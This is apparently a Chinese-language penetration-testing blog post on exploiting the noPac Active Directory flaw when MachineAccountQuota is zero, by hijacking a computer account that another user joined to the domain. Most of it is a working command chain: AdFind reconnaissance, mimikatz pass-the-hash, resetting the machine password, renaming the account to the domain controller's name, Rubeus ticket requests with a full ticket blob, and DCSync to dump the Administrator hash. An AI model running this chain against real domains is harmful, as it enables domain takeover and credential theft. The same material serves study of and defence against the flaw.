noPac MAQ = 0 的突破
本文主要记录了当 MAQ = 0 时, noPac 的利用姿势.
MS-DS-Machine-Account-Quota
MAQ (MS-DS-Machine-Account-Quota), 此属性为: 允许域用户在域中创建的计算机帐户数量, 当 MAQ = 0 时便不能创建计算机帐户.
这里有两种方法突破 MAQ = 0 的限制:
-
拿到 “将计算机拉入域中的帐户” 的权限.
-
拿到具有 “SeMachineAccountPrivilege” 权限的帐户.
先解释一下第一种方法:
- 将计算机拉入域中的帐户默认便对该计算机帐户有 WriteProperty 权限, 计算机帐户中的 mS-DS-CreatorSID 这个属性的 SID 就是拉它入域的 用户 SID, 那么便可以去查找域内存在 mS-DS-CreatorSID 的计算机帐户, 然后对应找到域用户帐户, 在拿到其权限后便可修改对应的计算机帐户属性, 从而实现该漏洞的利用.
再来解释下第二种方法:
- 有的企业会设置专门用来 加入域的组 (这个组中的这些帐户都能用来将计算机拉入域中) 或者 帐户, 这些帐户具有 SeMachineAccountPrivilege 权限 (“将工作站添加到域” 属性), 后续可以重点留意下这些帐户, 默认 Authenticater Users (身份验证的用户) 具备 SeMachineAccountPrivilege.
gpmc.msc 打开 “组策略管理”.
计算机配置 –> 策略 –> Windows 设置 –> 安全设置 –> 本地策略 –> 用户权限分配 –> 将工作站添加到域.
一旦我们拿到这些域用户帐户的权限, 就可以对其拉入域中的计算机帐户进行操作, 从而绕过 MAQ = 0 的限制, 达到我们利用漏洞的目的.
利用过程
查询每个域机器是由哪个域用户拉入域的
通过 mS-DS-CreatorSID 来判断哪些机器是由哪些域用户的拉进域内的.
如果一个计算机帐户没有 mS-DS-CreatorSID, 那么他是被域管拉入到域内的.
AdFind.exe -h 192.168.1.2 -u ligang -up ligang -b "DC=missyou, DC=com" -f "objectClass=computer" mS-DS-CreatorSID
查看 S-1-5-21-3168693938-3984985196-3138901273-1105
是谁.
AdFind.exe -b "DC=missyou, DC=com" -f "(&(objectsid=S-1-5-21-3168693938-3984985196-3138901273-1105))" objectclass cn dn
同样可以通过用户的 SID 查看哪些域机器是通过该用户加入到域内的:
Import-Module .\PowerView.ps1
ConvertTo-SID "missyou\wangxiaohong"
AdFind.exe -b "DC=missyou, DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3168693938-3984985196-3138901273-1105))" cn sAMAccountType objectCategory
模拟用户身份
此时假设我们通过其他手段已经拿到了 wangxiaohong 的密码.
如果拿到的是明文密码, 直接使用 runas 或者其他方式即可, 如果拿到的是 Hash 且解不开可用 mimikatz 的 hash 注入来模拟 wangxiaohong 身份 (Hash 注入需要 privilege::debug 权限).
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:wangxiaohong /domain:missyou.com /ntlm:68839665b6fc20e8b8239f9682623102
查看计算机帐户的 SPN 信息
setspn -L WIN-2008R2-2$
更改计算机帐户的密码
由于我们并不知道计算机帐户的密码, 所以我们更改计算机帐户的密码 (通常情况下我们都不知道计算机帐户的密码或 Hash). Windows Server 2008 的域控好像不记录历史 Hash, 目前碰到的环境 Windows Server 2008 并无历史 Hash, 后续碰到在看, 不知道是不是当前环境同步的问题.
为了避免修改密码后出现潜在的问题, 当我们 DCSync 获取到域管权限后, 将其恢复.
可以通过 MS-SAMR 协议来修改计算机帐户的密码, 此处利用 Mimikatz.
mimikatz # lsadump::setntlm /server:DC /user:WIN-2008R2-2$ /password:1234
这里有一个问题:
只是针对此处通过 MS-SAMR 协议更改密码后会出现的问题, 在其他情况下通过 MS-SAMR 协议更改密码不知道是否存在同样问题.
通过 MS-SAMR 协议更改了计算机帐户的密码的话, 这将导致对应的计算机帐户在 活动目录 中的密码和在 本地注册表 以及 lsass 进程中 的密码不一致, 在恢复历史密码之前, 这台机器就登陆不了域了, 会提示 “此工作站和主域间的信任关系失败”.
Win-2008$ 在活动目录中的 Hash:
Win-2008$ 在 lsass 进程中的 Hash:
直至恢复历史的密码后才能继续登陆域内.
lsadump::setntlm /server:DC /user:web$ /ntlm:524b61e4bcae961ce4ff67eb4739ad83
所以通过 MS-SAMR 协议更改密码这种操作还是有风险的, 但是在没有更好的办法时, 也算是一种可行的方法吧.
清除计算机帐户的 SPN
使用 PowerView.ps1 清空计算机帐户的 SPN 信息
Set-DomainObject "CN=WIN-2008R2-2, CN=Computers, DC=missyou, DC=com" -Clear 'serviceprincipalname' -DomainController "DC.missyou.com"
更改计算机帐户的 sAMAccountName
利用 Powermad.ps1 更改计算机帐户的 sAMAccountName 为域控的主机名, 注意这里不带 $.
Set-MachineAccountAttribute -MachineAccount "WIN-2008R2-2" -Value "DC" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose
通过计算机帐户申请 TGT
Rubeus3.5.exe asktgt /user:"DC" /password:"1234" /domain:"missyou.com" /dc:"DC.missyou.com" /nowrap
恢复计算机帐户的 sAMAccountName
利用 Powermad.ps1 恢复更改的计算机帐户的 sAMAccountName.
Set-MachineAccountAttribute -MachineAccount "WIN-2008R2-2" -Value "WIN-2008R2-2$" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose
获取 ST
Rubeus3.5.exe s4u /self /impersonateuser:"administrator" /altservice:"LDAP/DC.missyou.com" /dc:"DC.missyou.com" /ptt /ticket:doIEsDCCBKygAwIBBaEDAgEWooIDzjCCA8phggPGMIIDwqADAgEFoQ0bC01JU1NZT1UuQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwttaXNzeW91LmNvbaOCA4gwggOEoAMCARKhAwIBAqKCA3YEggNyAMuTwwBIggeu+WzgCv9ixtwaPs4LsDh7sLXfwBSDPHvrC72VJEHDXXPicFsDW9NpdG09QuyN7Y/O/e60LMkhDrMnoLUTx2I9sS9pNsT19DV2Vnx92J6LxanSAUBsDlRLmAfxl/Dfeyh5nqmfbGPX6RDEqHX9Y4zAMDcw1A/8Z0asETkw/Kd/VHnnDWAerbxWtQETqYzzsUNXgTTxlImfGyKP3ooSz66IJ1SuUxkcBTZOEwdZH5Oa5AFKpDfElQcy22kJ7L8crgndyEBq/JAZzE+wKpoAKnfG3YyCc1GywJoRfzl7dfLCWJ9cw8e1fOQfjzXQvl5jx7DqEjrgt1PX7SSmQX+wKo0vhh1Dt0SGR9XPNRbFeRJkplsJuvFKVnCzjzGkoh+CbQfkkMfqwNuDY47u12nbKtZMlU6mFOG6fAfbzpElUikOi99BjUKKQubPcL/YNd99JcYioKSPTQgsS304uW9LKL8hUSat43CKEJaWwJEg71wgj8DhmCYjlnTtBVftWWVssK4WvKJzXqzR0AzNwqkobIuSDTzSO4VwfViPVyvPO3KfU+rpsYq8YTVBcxY2x9D9Y7bm38eqxb4esL66PtwFLOCLGNKsOW/Lf8hKOXScByyQH38oHV/yp4byTZZVDxrp16xbbdnasquzTPVkeXCaSSk0RA0VzSBTVxtgykyfIKCe2hq5Kl9YKB0ZCcxdjKxk3a9+sjCRHk7SZNp6UxMYCTrKycOcuk4fddFzOs0VQ33R/badACztK5nXrWcatis5WrfsswwlaaGa0tJjTUWDPeDzgwVIQENx8sMmvSWQPZRU4j7tO1C1U3pnI9kxDYjpYlUSbeRDaNbALQpEZ3Rnx80G8hQCRCDJs4ckf9DGT2HgBfoFU7Z+zNPJOPYaStnGvUkwgO108RgoIlmJgE79U8JSwzt2v6Y0wfnoZr4ZFg6s/EmtzEnj+/YKJIQ53rKY5Tbftzy2iWX61fc4uhBrnjTdQdxjQiXwoSoISvOLRn5ynaDQjVWFFiJkG1P8vnGFzVKj4JkXrbkbPgV9cn1wz/82cSXdFHKFwp6xDoQXJ+piA0QjEYibMXtIJvJjRR8RkPA3JT3mOog8oWpyPIvrK1tq2rMQC1rcX67is62eYj/GNLWk3HpbAN45dXkHXBG8DF/r0h8LVTfYRoP7o4HNMIHKoAMCAQCigcIEgb99gbwwgbmggbYwgbMwgbCgGzAZoAMCARehEgQQhyFszBsf5qq5CbvTNs1TDaENGwtNSVNTWU9VLkNPTaIPMA2gAwIBAaEGMAQbAkRDowcDBQBA4QAApREYDzIwMjIwOTIxMDg0MDIxWqYRGA8yMDIyMDkyMTE4NDAyMVqnERgPMjAyMjA5MjgwODQwMjFaqA0bC01JU1NZT1UuQ09NqSAwHqADAgECoRcwFRsGa3JidGd0GwttaXNzeW91LmNvbQ==
注意这里获取的是 LDAP 服务的 ST, 所以我们可以 DumpHash, 而不能访问文件服务, 访问文件服务的话可以获取 CIFS 服务的 ST.
DCSync
mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /user:Administrator
恢复计算机帐户的 SPN 信息
恢复 SPN 是与查看 SPN 顺序相反的, 是依次压入的, 所以要从下往上恢复.
setspn -S HOST/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S RestrictedKrbHost/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S HOST/WIN-2008R2-2 WIN-2008R2-2$
setspn -S RestrictedKrbHost/WIN-2008R2-2 WIN-2008R2-2$
setspn -S MSSQLSvc/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S MSSQLSvc/WIN-2008R2-2.missyou.com:1433 WIN-2008R2-2$
setspn -S TERMSRV/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S TERMSRV/WIN-2008R2-2 WIN-2008R2-2$
查看是否恢复成功
setspn -L WIN-2008R2-2$
恢复计算机帐户的历史 Hash
拿到域管权限后, 先查看下我们更改了密码的计算机帐户的历史 Hash, 并将其恢复, 防止出现不可控的问题.
lsadump::DCSync /domain:missyou.com /server:DC /user:WIN-2008R2-2$
0 是当前 Hash, 从 1 开始是历史 Hash, 历史 Hash 是按照修改顺序依次排列.
恢复历史 Hash.
lsadump::setntlm /server:DC /user:WIN-2008R2-2$ /ntlm:fd74002b8a54ca0bdef77a0a372e4fa8
查看是否恢复成功.
lsadump::DCSync /domain:missyou.com /server:DC /user:WIN-2008R2-2$
感谢耐心阅读, 文章仅供参考, 本人学艺不精, 不足之处欢迎师傅们指点和纠正!